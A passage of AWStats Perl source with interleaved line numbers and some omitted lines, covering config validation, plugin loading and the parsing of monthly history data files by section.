debug( " DirIcons='$DirIcons'", 2 );
2898
debug( " SiteDomain='$SiteDomain'", 2 );
2899
debug( " MiscTrackerUrl='$MiscTrackerUrl'", 2 );
2900
foreach ( keys %MaxNbOf ) { debug( " MaxNbOf{$_}=$MaxNbOf{$_}", 2 ); }
2901
foreach ( keys %MinHit ) { debug( " MinHit{$_}=$MinHit{$_}", 2 ); }
2903
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
2905
" ExtraCodeFilter[$extranum] is array "
2906
. join( ',', @{ $ExtraCodeFilter[$extranum] } ),
2910
" ExtraConditionType[$extranum] is array "
2911
. join( ',', @{ $ExtraConditionType[$extranum] } ),
2915
" ExtraConditionTypeVal[$extranum] is array "
2916
. join( ',', @{ $ExtraConditionTypeVal[$extranum] } ),
2920
" ExtraFirstColumnFunction[$extranum] is array "
2921
. join( ',', @{ $ExtraFirstColumnFunction[$extranum] } ),
2925
" ExtraFirstColumnValuesType[$extranum] is array "
2926
. join( ',', @{ $ExtraFirstColumnValuesType[$extranum] } ),
2930
" ExtraFirstColumnValuesTypeVal[$extranum] is array "
2931
. join( ',', @{ $ExtraFirstColumnValuesTypeVal[$extranum] } ),
2937
# Deny URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters both set
2938
if ( @URLWithQueryWithOnly && @URLWithQueryWithout ) {
2940
"URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters can't be both set at the same time"
2944
# Deny $ShowHTTPErrorsStats and $ShowSMTPErrorsStats both set
2945
if ( $ShowHTTPErrorsStats && $ShowSMTPErrorsStats ) {
2947
"ShowHTTPErrorsStats and ShowSMTPErrorsStats can't be both set at the same time"
2951
# Deny LogFile if contains a pipe and PurgeLogFile || ArchiveLogRecords set on
2952
if ( ( $PurgeLogFile || $ArchiveLogRecords ) && $LogFile =~ /\|\s*$/ ) {
2954
"A pipe in log file name is not allowed if PurgeLogFile and ArchiveLogRecords are not set to 0"
2958
# If not a migrate, check if DirData is OK
2959
if ( !$MigrateStats && !-d $DirData ) {
2960
if ($CreateDirDataIfNotExists) {
2961
if ($Debug) { debug( " Make directory $DirData", 2 ); }
2962
my $mkdirok = mkdir "$DirData", 0766;
2965
"$PROG failed to create directory DirData (DirData=\"$DirData\", CreateDirDataIfNotExists=$CreateDirDataIfNotExists)."
2971
"AWStats database directory defined in config file by 'DirData' parameter ($DirData) does not exist or is not writable."
2976
if ( $LogType eq 'S' ) { $NOTSORTEDRECORDTOLERANCE = 1000000; }
2979
#------------------------------------------------------------------------------
2980
# Function: Common function used by init function of plugins
2981
# Parameters: AWStats version required by plugin
2984
# Return: '' if ok, "Error: xxx" if error
2985
#------------------------------------------------------------------------------
2986
sub Check_Plugin_Version {
2987
my $PluginNeedAWStatsVersion = shift;
2988
if ( !$PluginNeedAWStatsVersion ) { return 0; }
2989
$VERSION =~ /^(\d+)\.(\d+)/;
2990
my $numAWStatsVersion = ( $1 * 1000 ) + $2;
2991
$PluginNeedAWStatsVersion =~ /^(\d+)\.(\d+)/;
2992
my $numPluginNeedAWStatsVersion = ( $1 * 1000 ) + $2;
2993
if ( $numPluginNeedAWStatsVersion > $numAWStatsVersion ) {
2995
"Error: AWStats version $PluginNeedAWStatsVersion or higher is required. Detected $VERSION.";
3000
#------------------------------------------------------------------------------
3001
# Function: Return a checksum for an array of string
3002
# Parameters: Array of string
3005
# Return: Checksum number
3006
#------------------------------------------------------------------------------
3012
# $checksum = MD5->hexhash($string);
3015
while ( $i < length($string) ) {
3016
my $c = substr( $string, $i, 1 );
3017
$checksum += ( ord($c) << ( 8 * $j ) );
3018
if ( $j++ > 3 ) { $j = 0; }
3024
#------------------------------------------------------------------------------
3025
# Function: Load plugins files
3027
# Input: $DIR @PluginsToLoad
3030
#------------------------------------------------------------------------------
3033
# Check plugin files in common possible directories :
3034
# Windows and standard package: "$DIR/plugins" (plugins in same dir than awstats.pl)
3035
# Redhat : "/usr/local/awstats/wwwroot/cgi-bin/plugins"
3036
# Debian package : "/usr/share/awstats/plugins"
3037
my @PossiblePluginsDir = (
3039
"/usr/local/awstats/wwwroot/cgi-bin/plugins",
3040
"/usr/share/awstats/plugins"
3042
my %DirAddedInINC = ();
3044
#Removed for security reason
3045
#foreach my $key (keys %NoLoadPlugin) { if ($NoLoadPlugin{$key} < 0) { push @PluginsToLoad, $key; } }
3048
"Call to Read_Plugins with list: " . join( ',', @PluginsToLoad ) );
3050
foreach my $plugininfo (@PluginsToLoad) {
3051
my ( $pluginfile, $pluginparam ) = split( /\s+/, $plugininfo, 2 );
3053
""; # If split has only on part, pluginparam is not initialized
3054
$pluginfile =~ s/\.pm$//i;
3055
$pluginfile =~ /([^\/\\]+)$/;
3056
my $pluginname = $1; # pluginname is pluginfile without any path
3057
# Check if plugin is not disabled
3058
if ( $NoLoadPlugin{$pluginname} && $NoLoadPlugin{$pluginname} > 0 ) {
3061
" Plugin load for '$pluginfile' has been disabled from parameters"
3067
if ( !$PluginsLoaded{'init'}{"$pluginname"} )
3068
{ # Plugin not already loaded
3075
'geoip_region_maxmind' => 'mou',
3076
'geoip_city_maxmind' => 'mou',
3077
'geoip_isp_maxmind' => 'mou',
3078
'geoip_org_maxmind' => 'mou',
3080
'decodeutfkeys' => 'o',
3087
if ( $pluginisfor{$pluginname} )
3088
{ # If it's a known plugin, may be we don't need to load it
3089
# Do not load "menu handler plugins" if output only and mainleft frame
3091
&& scalar keys %HTMLOutput
3092
&& $FrameName eq 'mainleft'
3093
&& $pluginisfor{$pluginname} !~ /m/ )
3095
$PluginsLoaded{'init'}{"$pluginname"} = 1;
3099
# Do not load "update plugins" if output only
3101
&& scalar keys %HTMLOutput
3102
&& $pluginisfor{$pluginname} !~ /o/ )
3104
$PluginsLoaded{'init'}{"$pluginname"} = 1;
3108
# Do not load "output plugins" if update only
3110
&& !scalar keys %HTMLOutput
3111
&& $pluginisfor{$pluginname} !~ /u/ )
3113
$PluginsLoaded{'init'}{"$pluginname"} = 1;
3119
foreach my $dir (@PossiblePluginsDir) {
3120
my $searchdir = $dir;
3122
&& ( !( $searchdir =~ /\/$/ ) )
3123
&& ( !( $searchdir =~ /\\$/ ) ) )
3127
my $pluginpath = "${searchdir}${pluginfile}.pm";
3128
if ( -s "$pluginpath" ) {
3129
$PluginDir = "${searchdir}"; # Set plugin dir
3132
" Try to init plugin '$pluginname' ($pluginpath) with param '$pluginparam'",
3136
if ( !$DirAddedInINC{"$dir"} ) {
3138
$DirAddedInINC{"$dir"} = 1;
3141
my $modperl = $ENV{"MOD_PERL"}
3144
$mod_perl::VERSION >= 1.99 ? 2 : 1;
3147
if ( $modperl == 2 ) {
3148
$loadret = require "$pluginpath";
3150
else { $loadret = require "$pluginfile.pm"; }
3151
if ( !$loadret || $loadret =~ /^error/i ) {
3153
# Load failed, we stop here
3155
"Plugin load for plugin '$pluginname' failed with return code: $loadret"
3158
my $ret; # To get init return
3160
"\$ret=Init_$pluginname('$pluginparam')";
3161
my $initret = eval("$initfunction");
3162
if ( $initret && $initret eq 'xxx' ) {
3164
'Error: The PluginHooksFunctions variable defined in plugin file does not contain list of hooked functions';
3166
if ( !$initret || $initret =~ /^error/i ) {
3168
# Init function failed, we stop here
3170
"Plugin init for plugin '$pluginname' failed with return code: "
3174
: "$@ (A module required by plugin might be missing)."
3179
# Plugin load and init successfull
3180
foreach my $elem ( split( /\s+/, $initret ) ) {
3182
# Some functions can only be plugged once
3184
'GetCountryCodeByName',
3185
'GetCountryCodeByAddr',
3194
my $isuniquefunc = 0;
3195
foreach my $function (@uniquefunc) {
3196
if ( "$elem" eq "$function" ) {
3198
# We try to load a 'unique' function, so we check and stop if already loaded
3199
foreach my $otherpluginname (
3200
keys %{ $PluginsLoaded{"$elem"} } )
3203
"Conflict between plugin '$pluginname' and '$otherpluginname'. They both implements the 'must be unique' function '$elem'.\nYou must choose between one of them. Using together is not possible."
3210
if ($isuniquefunc) {
3212
# TODO Use $PluginsLoaded{"$elem"}="$pluginname"; for unique func
3213
$PluginsLoaded{"$elem"}{"$pluginname"} = 1;
3215
else { $PluginsLoaded{"$elem"}{"$pluginname"} = 1; }
3216
if ( "$elem" =~ /SectionInitHashArray/ ) {
3217
$AtLeastOneSectionPlugin = 1;
3220
$PluginsLoaded{'init'}{"$pluginname"} = 1;
3223
" Plugin '$pluginname' now hooks functions '$initret'",
3230
if ( !$PluginsLoaded{'init'}{"$pluginname"} ) {
3232
"AWStats config file contains a directive to load plugin \"$pluginname\" (LoadPlugin=\"$plugininfo\") but AWStats can't open plugin file \"$pluginfile.pm\" for read.\nCheck if file is in \""
3233
. ( $PossiblePluginsDir[0] )
3234
. "\" directory and is readable." );
3239
"Warning: Tried to load plugin \"$pluginname\" twice. Fix config file."
3244
error("Plugin \"$pluginfile\" is not a valid plugin name.");
3248
# In output mode, geo ip plugins are not loaded, so message changes are done here (can't be done in plugin init function)
3249
if ( $PluginsLoaded{'init'}{'geoip'}
3250
|| $PluginsLoaded{'init'}{'geoipfree'} )
3252
$Message[17] = $Message[25] = $Message[148];
3256
#------------------------------------------------------------------------------
3257
# Function: Read history file and create or update tmp history file
3258
# Parameters: year,month,day,hour,withupdate,withpurge,part_to_load[,lastlinenb,lastlineoffset,lastlinechecksum]
3259
# Input: $DirData $PROG $FileSuffix $LastLine $DatabaseBreak
3261
# Return: Tmp history file name created/updated or '' if withupdate is 0
3262
#------------------------------------------------------------------------------
3263
sub Read_History_With_TmpUpdate {
3265
my $year = sprintf( "%04i", shift || 0 );
3266
my $month = sprintf( "%02i", shift || 0 );
3268
if ( $day ne '' ) { $day = sprintf( "%02i", $day ); }
3270
if ( $hour ne '' ) { $hour = sprintf( "%02i", $hour ); }
3271
my $withupdate = shift || 0;
3272
my $withpurge = shift || 0;
3273
my $part = shift || '';
3275
my ( $date, $filedate ) = ( '', '' );
3276
if ( $DatabaseBreak eq 'month' ) {
3277
$date = sprintf( "%04i%02i", $year, $month );
3278
$filedate = sprintf( "%02i%04i", $month, $year );
3280
elsif ( $DatabaseBreak eq 'year' ) {
3281
$date = sprintf( "%04i%", $year );
3282
$filedate = sprintf( "%04i", $year );
3284
elsif ( $DatabaseBreak eq 'day' ) {
3285
$date = sprintf( "%04i%02i%02i", $year, $month, $day );
3286
$filedate = sprintf( "%02i%04i%02i", $month, $year, $day );
3288
elsif ( $DatabaseBreak eq 'hour' ) {
3289
$date = sprintf( "%04i%02i%02i%02i", $year, $month, $day, $hour );
3290
$filedate = sprintf( "%02i%04i%02i%02i", $month, $year, $day, $hour );
3293
my $xml = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 );
3294
my $xmleb = '</table><nu>';
3295
my $xmlrb = '<tr><td>';
3297
my $lastlinenb = shift || 0;
3298
my $lastlineoffset = shift || 0;
3299
my $lastlinechecksum = shift || 0;
3312
'emailsender' => 11,
3313
'emailreceiver' => 12,
3320
'unknownreferer' => 19,
3321
'unknownrefererbrowser' => 20,
3323
'sereferrals' => 22,
3325
'searchwords' => 24,
3330
my $order = ( scalar keys %allsections ) + 1;
3331
foreach ( keys %TrapInfosForHTTPErrorCodes ) {
3332
$allsections{"sider_$_"} = $order++;
3334
foreach ( 1 .. @ExtraName - 1 ) { $allsections{"extra_$_"} = $order++; }
3335
foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
3336
$allsections{"plugin_$_"} = $order++;
3340
# Variable used to read old format history files
3341
my $readvisitorforbackward = 0;
3345
"Call to Read_History_With_TmpUpdate [$year,$month,$day,$hour,withupdate=$withupdate,withpurge=$withpurge,part=$part,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]"
3348
if ($Debug) { debug("date=$date"); }
3350
# Define SectionsToLoad (which sections to load)
3351
my %SectionsToLoad = ();
3352
if ( $part eq 'all' ) { # Load all needed sections
3354
$SectionsToLoad{'general'} = $order++;
3357
$SectionsToLoad{'time'} = $order
3358
++; # Always loaded because needed to count TotalPages, TotalHits, TotalBandwidth
3361
|| ( $HTMLOutput{'main'} && $ShowHostsStats )
3362
|| $HTMLOutput{'allhosts'}
3363
|| $HTMLOutput{'lasthosts'}
3364
|| $HTMLOutput{'unknownip'} )
3366
$SectionsToLoad{'visitor'} = $order++;
3367
} # Must be before day, sider and session section
3371
|| ( $HTMLOutput{'main'}
3372
&& ( $ShowDaysOfWeekStats || $ShowDaysOfMonthStats ) )
3373
|| $HTMLOutput{'alldays'}
3376
$SectionsToLoad{'day'} = $order++;
3382
|| ( $HTMLOutput{'main'} && $ShowDomainsStats )
3383
|| $HTMLOutput{'alldomains'} )
3385
$SectionsToLoad{'domain'} = $order++;
3389
|| ( $HTMLOutput{'main'} && $ShowAuthenticatedUsers )
3390
|| $HTMLOutput{'alllogins'}
3391
|| $HTMLOutput{'lastlogins'} )
3393
$SectionsToLoad{'login'} = $order++;
3397
|| ( $HTMLOutput{'main'} && $ShowRobotsStats )
3398
|| $HTMLOutput{'allrobots'}
3399
|| $HTMLOutput{'lastrobots'} )
3401
$SectionsToLoad{'robot'} = $order++;
3405
|| ( $HTMLOutput{'main'} && $ShowWormsStats )
3406
|| $HTMLOutput{'allworms'}
3407
|| $HTMLOutput{'lastworms'} )
3409
$SectionsToLoad{'worms'} = $order++;
3413
|| ( $HTMLOutput{'main'} && $ShowEMailSenders )
3414
|| $HTMLOutput{'allemails'}
3415
|| $HTMLOutput{'lastemails'} )
3417
$SectionsToLoad{'emailsender'} = $order++;
3421
|| ( $HTMLOutput{'main'} && $ShowEMailReceivers )
3422
|| $HTMLOutput{'allemailr'}
3423
|| $HTMLOutput{'lastemailr'} )
3425
$SectionsToLoad{'emailreceiver'} = $order++;
3431
|| ( $HTMLOutput{'main'} && $ShowSessionsStats )
3432
|| $HTMLOutput{'sessions'} )
3434
$SectionsToLoad{'session'} = $order++;
3438
|| ( $HTMLOutput{'main'} && $ShowPagesStats )
3439
|| $HTMLOutput{'urldetail'}
3440
|| $HTMLOutput{'urlentry'}
3441
|| $HTMLOutput{'urlexit'} )
3443
$SectionsToLoad{'sider'} = $order++;
3447
|| ( $HTMLOutput{'main'} && $ShowFileTypesStats )
3448
|| $HTMLOutput{'filetypes'} )
3450
$SectionsToLoad{'filetypes'} = $order++;
3454
|| ( $HTMLOutput{'main'} && $ShowOSStats )
3455
|| $HTMLOutput{'osdetail'} )
3457
$SectionsToLoad{'os'} = $order++;
3461
|| ( $HTMLOutput{'main'} && $ShowBrowsersStats )
3462
|| $HTMLOutput{'browserdetail'} )
3464
$SectionsToLoad{'browser'} = $order++;
3466
if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownos'} ) {
3467
$SectionsToLoad{'unknownreferer'} = $order++;
3469
if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownbrowser'} ) {
3470
$SectionsToLoad{'unknownrefererbrowser'} = $order++;
3474
|| ( $HTMLOutput{'main'} && $ShowScreenSizeStats ) )
3476
$SectionsToLoad{'screensize'} = $order++;
3482
|| ( $HTMLOutput{'main'} && $ShowOriginStats )
3483
|| $HTMLOutput{'origin'} )
3485
$SectionsToLoad{'origin'} = $order++;
3489
|| ( $HTMLOutput{'main'} && $ShowOriginStats )
3490
|| $HTMLOutput{'refererse'} )
3492
$SectionsToLoad{'sereferrals'} = $order++;
3496
|| ( $HTMLOutput{'main'} && $ShowOriginStats )
3497
|| $HTMLOutput{'refererpages'} )
3499
$SectionsToLoad{'pagerefs'} = $order++;
3503
|| ( $HTMLOutput{'main'} && $ShowKeyphrasesStats )
3504
|| $HTMLOutput{'keyphrases'}
3505
|| $HTMLOutput{'keywords'} )
3507
$SectionsToLoad{'searchwords'} = $order++;
3509
if ( !$withupdate && $HTMLOutput{'main'} && $ShowKeywordsStats ) {
3510
$SectionsToLoad{'keywords'} = $order++;
3511
} # If we update, dont need to load
3515
|| ( $HTMLOutput{'main'} && $ShowMiscStats ) )
3517
$SectionsToLoad{'misc'} = $order++;
3522
|| ( $HTMLOutput{'main'}
3523
&& ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats ) )
3524
|| $HTMLOutput{'errors'}
3527
$SectionsToLoad{'errors'} = $order++;
3529
foreach ( keys %TrapInfosForHTTPErrorCodes ) {
3530
if ( $UpdateStats || $MigrateStats || $HTMLOutput{"errors$_"} ) {
3531
$SectionsToLoad{"sider_$_"} = $order++;
3536
|| ( $HTMLOutput{'main'} && $ShowClusterStats ) )
3538
$SectionsToLoad{'cluster'} = $order++;
3540
foreach ( 1 .. @ExtraName - 1 ) {
3543
|| ( $HTMLOutput{'main'} && $ExtraStatTypes[$_] )
3544
|| $HTMLOutput{"allextra$_"} )
3546
$SectionsToLoad{"extra_$_"} = $order++;
3549
foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
3550
if ( $UpdateStats || $MigrateStats || $HTMLOutput{"plugin_$_"} ) {
3551
$SectionsToLoad{"plugin_$_"} = $order++;
3555
else { # Load only required sections
3557
foreach ( split( /\s+/, $part ) ) { $SectionsToLoad{$_} = $order++; }
3560
# Define SectionsToSave (which sections to save)
3561
my %SectionsToSave = ();
3563
if ( $SectionsToBeSaved eq 'all' ) {
3564
%SectionsToSave = %allsections;
3568
foreach ( split( /\s+/, $SectionsToBeSaved ) ) {
3569
$SectionsToSave{$_} = $order++;
3576
" List of sections marked for load : "
3580
sort { $SectionsToLoad{$a} <=> $SectionsToLoad{$b} }
3581
keys %SectionsToLoad
3587
" List of sections marked for save : "
3591
sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} }
3592
keys %SectionsToSave
3599
# Define value for filetowrite and filetoread (Month before Year kept for backward compatibility)
3600
my $filetowrite = '';
3601
my $filetoread = '';
3602
if ( $HistoryAlreadyFlushed{"$year$month$day$hour"}
3603
&& -s "$DirData/$PROG$filedate$FileSuffix.tmp.$$" )
3606
# tmp history file was already flushed
3607
$filetoread = "$DirData/$PROG$filedate$FileSuffix.tmp.$$";
3608
$filetowrite = "$DirData/$PROG$filedate$FileSuffix.tmp.$$.bis";
3611
$filetoread = "$DirData/$PROG$filedate$FileSuffix.txt";
3612
$filetowrite = "$DirData/$PROG$filedate$FileSuffix.tmp.$$";
3614
if ($Debug) { debug( " History file to read is '$filetoread'", 2 ); }
3616
# Is there an old data file to read or, if migrate, can we open the file for read
3617
if ( -s $filetoread || $MigrateStats ) { $withread = 1; }
3621
open( HISTORY, $filetoread )
3622
|| error( "Couldn't open file \"$filetoread\" for read: $!",
3623
"", "", $MigrateStats );
3625
; # Avoid premature EOF due to history files corrupted with \cZ or bin chars
3628
open( HISTORYTMP, ">$filetowrite" )
3629
|| error("Couldn't open file \"$filetowrite\" for write: $!");
3633
'<xml xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://awstats.sourceforge.net/files/awstats.xsd">'
3636
Save_History( "header", $year, $month, $date );
3651
if ( !$readxml && $_ =~ /^<xml/ ) {
3653
if ($Debug) { debug( " Data file format is 'xml'", 1 ); }
3657
# Extract version from first line
3658
if ( !$versionnum && $_ =~ /^AWSTATS DATA FILE (\d+).(\d+)/i ) {
3659
$versionnum = ( $1 * 1000 ) + $2;
3660
if ($Debug) { debug( " Data file version is $versionnum", 1 ); }
3665
@field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
3666
if ( !$field[0] ) { next; }
3668
# Here version MUST be defined
3669
if ( $versionnum < 5000 ) {
3671
"History file '$filetoread' is to old (version '$versionnum'). This version of AWStats is not compatible with very old history files. Remove this history file or use first a previous AWStats version to migrate it from command line with command: $PROG.$Extension -migrate=\"$filetoread\".",
3677
# TODO Manage GENERAL in a loop like other sections.
3678
if ( $field[0] eq 'BEGIN_GENERAL' ) {
3679
if ($Debug) { debug(" Begin of GENERAL section"); }
3682
if ( $field[0] eq 'LastLine' || $field[0] eq "${xmlrb}LastLine" ) {
3683
if ( !$LastLine || $LastLine < int( $field[1] ) ) {
3684
$LastLine = int( $field[1] );
3686
if ( $field[2] ) { $LastLineNumber = int( $field[2] ); }
3687
if ( $field[3] ) { $LastLineOffset = int( $field[3] ); }
3688
if ( $field[4] ) { $LastLineChecksum = int( $field[4] ); }
3691
if ( $field[0] eq 'FirstTime' || $field[0] eq "${xmlrb}FirstTime" )
3693
if ( !$FirstTime{$date}
3694
|| $FirstTime{$date} > int( $field[1] ) )
3696
$FirstTime{$date} = int( $field[1] );
3700
if ( $field[0] eq 'LastTime' || $field[0] eq "${xmlrb}LastTime" ) {
3701
if ( !$LastTime{$date} || $LastTime{$date} < int( $field[1] ) )
3703
$LastTime{$date} = int( $field[1] );
3707
if ( $field[0] eq 'LastUpdate'
3708
|| $field[0] eq "${xmlrb}LastUpdate" )
3710
if ( !$LastUpdate ) { $LastUpdate = int( $field[1] ); }
3713
if ( $field[0] eq 'TotalVisits'
3714
|| $field[0] eq "${xmlrb}TotalVisits" )
3716
if ( !$withupdate ) {
3717
$MonthVisits{ $year . $month } += int( $field[1] );
3721
if ( $field[0] eq 'TotalUnique'
3722
|| $field[0] eq "${xmlrb}TotalUnique" )
3724
if ( !$withupdate ) {
3725
$MonthUnique{ $year . $month } += int( $field[1] );
3729
if ( $field[0] eq 'MonthHostsKnown'
3730
|| $field[0] eq "${xmlrb}MonthHostsKnown" )
3732
if ( !$withupdate ) {
3733
$MonthHostsKnown{ $year . $month } += int( $field[1] );
3737
if ( $field[0] eq 'MonthHostsUnknown'
3738
|| $field[0] eq "${xmlrb}MonthHostsUnknown" )
3740
if ( !$withupdate ) {
3741
$MonthHostsUnknown{ $year . $month } += int( $field[1] );
3747
$field[0] eq 'END_GENERAL'
3748
|| $field[0] eq "${xmleb}END_GENERAL"
3752
if ($Debug) { debug(" End of GENERAL section"); }
3753
if ( $MigrateStats && !$BadFormatWarning{ $year . $month } ) {
3754
$BadFormatWarning{ $year . $month } = 1;
3756
"Warning: You are migrating a file that is already a recent version (migrate not required for files version $versionnum).",
3761
delete $SectionsToLoad{'general'};
3762
if ( $SectionsToSave{'general'} ) {
3763
Save_History( 'general', $year, $month, $date, $lastlinenb,
3764
$lastlineoffset, $lastlinechecksum );
3765
delete $SectionsToSave{'general'};
3767
if ( !scalar %SectionsToLoad ) {
3768
debug(" Stop reading history file. Got all we need.");
3775
if ( $field[0] eq 'BEGIN_MISC' ) {
3776
if ($Debug) { debug(" Begin of MISC section"); }
3779
my $countloaded = 0;
3783
if ( $SectionsToLoad{'misc'} ) {
3786
$_misc_p{ $field[0] } += int( $field[1] );
3789
$_misc_h{ $field[0] } += int( $field[2] );
3792
$_misc_k{ $field[0] } += int( $field[3] );
3801
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
3803
} until ( $field[0] eq 'END_MISC'
3804
|| $field[0] eq "${xmleb}END_MISC"
3806
if ( $field[0] ne 'END_MISC'
3807
&& $field[0] ne "${xmleb}END_MISC" )
3810
"History file \"$filetoread\" is corrupted (End of section MISC not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
3816
" End of MISC section ($count entries, $countloaded loaded)"
3819
delete $SectionsToLoad{'misc'};
3820
if ( $SectionsToSave{'misc'} ) {
3821
Save_History( 'misc', $year, $month, $date );
3822
delete $SectionsToSave{'misc'};
3829
if ( !scalar %SectionsToLoad ) {
3830
debug(" Stop reading history file. Got all we need.");
3837
if ( $field[0] eq 'BEGIN_CLUSTER' ) {
3838
if ($Debug) { debug(" Begin of CLUSTER section"); }
3841
my $countloaded = 0;
3845
if ( $SectionsToLoad{'cluster'} ) {
3848
$_cluster_p{ $field[0] } += int( $field[1] );
3851
$_cluster_h{ $field[0] } += int( $field[2] );
3854
$_cluster_k{ $field[0] } += int( $field[3] );
3863
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
3865
} until ( $field[0] eq 'END_CLUSTER'
3866
|| $field[0] eq "${xmleb}END_CLUSTER"
3868
if ( $field[0] ne 'END_CLUSTER'
3869
&& $field[0] ne "${xmleb}END_CLUSTER" )
3872
"History file \"$filetoread\" is corrupted (End of section CLUSTER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
3878
" End of CLUSTER section ($count entries, $countloaded loaded)"
3881
delete $SectionsToLoad{'cluster'};
3882
if ( $SectionsToSave{'cluster'} ) {
3883
Save_History( 'cluster', $year, $month, $date );
3884
delete $SectionsToSave{'cluster'};
3891
if ( !scalar %SectionsToLoad ) {
3892
debug(" Stop reading history file. Got all we need.");
3899
if ( $field[0] eq 'BEGIN_TIME' ) {
3903
my $monthnotviewedpages = 0;
3904
my $monthnotviewedhits = 0;
3905
my $monthnotviewedbytes = 0;
3906
if ($Debug) { debug(" Begin of TIME section"); }
3909
my $countloaded = 0;
3912
if ( $field[0] ne '' )
3913
{ # Test on ne '' because field[0] is '0' for hour 0)
3915
if ( $SectionsToLoad{'time'} ) {
3917
|| $MonthRequired eq 'all'
3918
|| $MonthRequired eq "$month" )
3922
$_time_p[ $field[0] ] += int( $field[1] );
3925
$_time_h[ $field[0] ] += int( $field[2] );
3928
$_time_k[ $field[0] ] += int( $field[3] );
3931
$_time_nv_p[ $field[0] ] +=
3935
$_time_nv_h[ $field[0] ] +=
3939
$_time_nv_k[ $field[0] ] +=
3943
$monthpages += int( $field[1] );
3944
$monthhits += int( $field[2] );
3945
$monthbytes += int( $field[3] );
3946
$monthnotviewedpages += int( $field[4] || 0 );
3947
$monthnotviewedhits += int( $field[5] || 0 );
3948
$monthnotviewedbytes += int( $field[6] || 0 );
3956
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
3958
} until ( $field[0] eq 'END_TIME'
3959
|| $field[0] eq "${xmleb}END_TIME"
3961
if ( $field[0] ne 'END_TIME'
3962
&& $field[0] ne "${xmleb}END_TIME" )
3965
"History file \"$filetoread\" is corrupted (End of section TIME not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
3971
" End of TIME section ($count entries, $countloaded loaded)"
3974
$MonthPages{ $year . $month } += $monthpages;
3975
$MonthHits{ $year . $month } += $monthhits;
3976
$MonthBytes{ $year . $month } += $monthbytes;
3977
$MonthNotViewedPages{ $year . $month } += $monthnotviewedpages;
3978
$MonthNotViewedHits{ $year . $month } += $monthnotviewedhits;
3979
$MonthNotViewedBytes{ $year . $month } += $monthnotviewedbytes;
3980
delete $SectionsToLoad{'time'};
3982
if ( $SectionsToSave{'time'} ) {
3983
Save_History( 'time', $year, $month, $date );
3984
delete $SectionsToSave{'time'};
3994
if ( !scalar %SectionsToLoad ) {
3995
debug(" Stop reading history file. Got all we need.");
4002
if ( $field[0] eq 'BEGIN_ORIGIN' ) {
4003
if ($Debug) { debug(" Begin of ORIGIN section"); }
4006
my $countloaded = 0;
4010
if ( $SectionsToLoad{'origin'} ) {
4011
if ( $field[0] eq 'From0' ) {
4012
$_from_p[0] += $field[1];
4013
$_from_h[0] += $field[2];
4015
elsif ( $field[0] eq 'From1' ) {
4016
$_from_p[1] += $field[1];
4017
$_from_h[1] += $field[2];
4019
elsif ( $field[0] eq 'From2' ) {
4020
$_from_p[2] += $field[1];
4021
$_from_h[2] += $field[2];
4023
elsif ( $field[0] eq 'From3' ) {
4024
$_from_p[3] += $field[1];
4025
$_from_h[3] += $field[2];
4027
elsif ( $field[0] eq 'From4' ) {
4028
$_from_p[4] += $field[1];
4029
$_from_h[4] += $field[2];
4031
elsif ( $field[0] eq 'From5' ) {
4032
$_from_p[5] += $field[1];
4033
$_from_h[5] += $field[2];
4042
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4044
} until ( $field[0] eq 'END_ORIGIN'
4045
|| $field[0] eq "${xmleb}END_ORIGIN"
4047
if ( $field[0] ne 'END_ORIGIN'
4048
&& $field[0] ne "${xmleb}END_ORIGIN" )
4051
"History file \"$filetoread\" is corrupted (End of section ORIGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4057
" End of ORIGIN section ($count entries, $countloaded loaded)"
4060
delete $SectionsToLoad{'origin'};
4061
if ( $SectionsToSave{'origin'} ) {
4062
Save_History( 'origin', $year, $month, $date );
4063
delete $SectionsToSave{'origin'};
4064
if ($withpurge) { @_from_p = (); @_from_h = (); }
4066
if ( !scalar %SectionsToLoad ) {
4067
debug(" Stop reading history file. Got all we need.");
4074
if ( $field[0] eq 'BEGIN_DAY' ) {
4075
if ($Debug) { debug(" Begin of DAY section"); }
4078
my $countloaded = 0;
4082
if ( $SectionsToLoad{'day'} ) {
4085
$DayPages{ $field[0] } += int( $field[1] );
4087
$DayHits{ $field[0] } +=
4089
; # DayHits always load (should be >0 and if not it's a day YYYYMM00 resulting of an old file migration)
4091
$DayBytes{ $field[0] } += int( $field[3] );
4094
$DayVisits{ $field[0] } += int( $field[4] );
4103
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4105
} until ( $field[0] eq 'END_DAY'
4106
|| $field[0] eq "${xmleb}END_DAY"
4108
if ( $field[0] ne 'END_DAY' && $field[0] ne "${xmleb}END_DAY" )
4111
"History file \"$filetoread\" is corrupted (End of section DAY not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4117
" End of DAY section ($count entries, $countloaded loaded)"
4120
delete $SectionsToLoad{'day'};
4122
# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
4123
#if ($SectionsToSave{'day'}) { # Must be made after read of visitor
4124
# Save_History('day',$year,$month,$date); delete $SectionsToSave{'day'};
4125
